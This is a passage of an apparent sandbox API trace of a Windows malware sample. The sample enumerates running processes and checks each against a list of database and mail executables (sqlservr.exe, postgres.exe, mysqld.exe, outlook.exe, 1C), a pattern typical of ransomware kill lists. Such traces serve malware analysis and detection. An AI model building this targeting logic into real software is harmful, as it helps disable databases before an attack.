lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.492] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0056.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0056.495] Process32FirstW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.496] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.496] lstrlenW (lpString="System") returned 6 [0056.496] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.496] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.497] lstrlenW (lpString="smss.exe") returned 8 [0056.497] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.497] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.497] lstrlenW (lpString="csrss.exe") returned 9 [0056.497] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.497] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.497] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.497] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.498] lstrlenW (lpString="wininit.exe") returned 11 [0056.498] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.498] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.498] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.498] lstrlenW (lpString="csrss.exe") returned 9 [0056.498] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.498] lstrlenW (lpString="winlogon.exe") returned 12 [0056.498] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.499] lstrlenW (lpString="services.exe") returned 12 [0056.499] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.499] lstrlenW (lpString="lsass.exe") returned 9 [0056.499] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.499] lstrlenW (lpString="lsm.exe") returned 7 [0056.500] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.500] lstrlenW (lpString="svchost.exe") returned 11 [0056.500] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.500] lstrlenW (lpString="svchost.exe") returned 11 [0056.500] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.501] lstrlenW (lpString="svchost.exe") returned 11 [0056.501] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.501] lstrlenW (lpString="svchost.exe") returned 11 [0056.501] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.501] lstrlenW (lpString="svchost.exe") returned 11 [0056.501] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.502] lstrlenW (lpString="audiodg.exe") returned 11 [0056.502] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.502] lstrlenW (lpString="svchost.exe") returned 11 [0056.502] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.502] lstrlenW (lpString="svchost.exe") returned 11 [0056.502] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.503] lstrlenW (lpString="dwm.exe") returned 7 [0056.503] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.503] lstrlenW (lpString="explorer.exe") returned 12 [0056.503] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.504] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.504] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.504] lstrlenW (lpString="taskhost.exe") returned 12 [0056.504] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.504] lstrlenW (lpString="svchost.exe") returned 11 [0056.504] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.505] lstrlenW (lpString="taskeng.exe") returned 11 [0056.505] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0056.505] lstrlenW (lpString="judges-present.exe") returned 18 [0056.505] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0056.505] lstrlenW (lpString="physics.exe") returned 11 [0056.505] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0056.506] lstrlenW (lpString="belongs.exe") returned 11 [0056.506] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0056.506] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0056.506] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0056.507] lstrlenW (lpString="gadgets.exe") returned 11 [0056.507] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0056.507] lstrlenW (lpString="geneva.exe") returned 10 [0056.507] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0056.507] lstrlenW (lpString="elephant.exe") returned 12 [0056.507] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0056.508] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0056.508] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0056.508] lstrlenW (lpString="roger-venice.exe") returned 16 [0056.508] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0056.508] lstrlenW (lpString="cite.exe") returned 8 [0056.508] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0056.509] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0056.509] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0056.509] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0056.509] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0056.510] lstrlenW (lpString="artist_selecting.exe") returned 20 [0056.510] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0056.510] lstrlenW (lpString="poems.exe") returned 9 [0056.510] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0056.510] lstrlenW (lpString="bow.exe") returned 7 [0056.510] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0056.511] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0056.511] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0056.511] lstrlenW (lpString="businesses.exe") returned 14 [0056.511] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0056.511] lstrlenW (lpString="lucky.exe") returned 9 [0056.511] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0056.512] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0056.512] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0056.518] lstrlenW (lpString="healthmanner.exe") returned 16 [0056.518] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0056.519] lstrlenW (lpString="3dftp.exe") returned 9 [0056.519] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0056.519] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0056.519] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0056.519] lstrlenW (lpString="alftp.exe") returned 9 [0056.519] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0056.520] lstrlenW (lpString="barca.exe") returned 9 [0056.520] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0056.520] lstrlenW (lpString="bitkinex.exe") returned 12 [0056.520] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0056.520] lstrlenW (lpString="coreftp.exe") returned 11 [0056.520] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0056.521] lstrlenW (lpString="far.exe") returned 7 [0056.521] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0056.521] lstrlenW (lpString="filezilla.exe") returned 13 [0056.521] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0056.521] lstrlenW (lpString="flashfxp.exe") returned 12 [0056.522] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0056.522] lstrlenW (lpString="fling.exe") returned 9 [0056.522] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0056.522] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0056.522] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0056.523] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0056.523] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0056.523] lstrlenW (lpString="icq.exe") returned 7 [0056.523] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0056.523] lstrlenW (lpString="leechftp.exe") returned 12 [0056.523] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0056.524] lstrlenW (lpString="ncftp.exe") returned 9 [0056.524] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0056.524] lstrlenW (lpString="notepad.exe") returned 11 [0056.525] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0056.525] lstrlenW (lpString="operamail.exe") returned 13 [0056.525] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0056.839] lstrlenW (lpString="pidgin.exe") returned 10 [0056.839] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0056.839] lstrlenW (lpString="scriptftp.exe") returned 13 [0056.839] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0056.840] lstrlenW (lpString="skype.exe") returned 9 [0056.840] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0056.841] lstrlenW (lpString="smartftp.exe") returned 12 [0056.841] Process32NextW (in: hSnapshot=0x240, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, 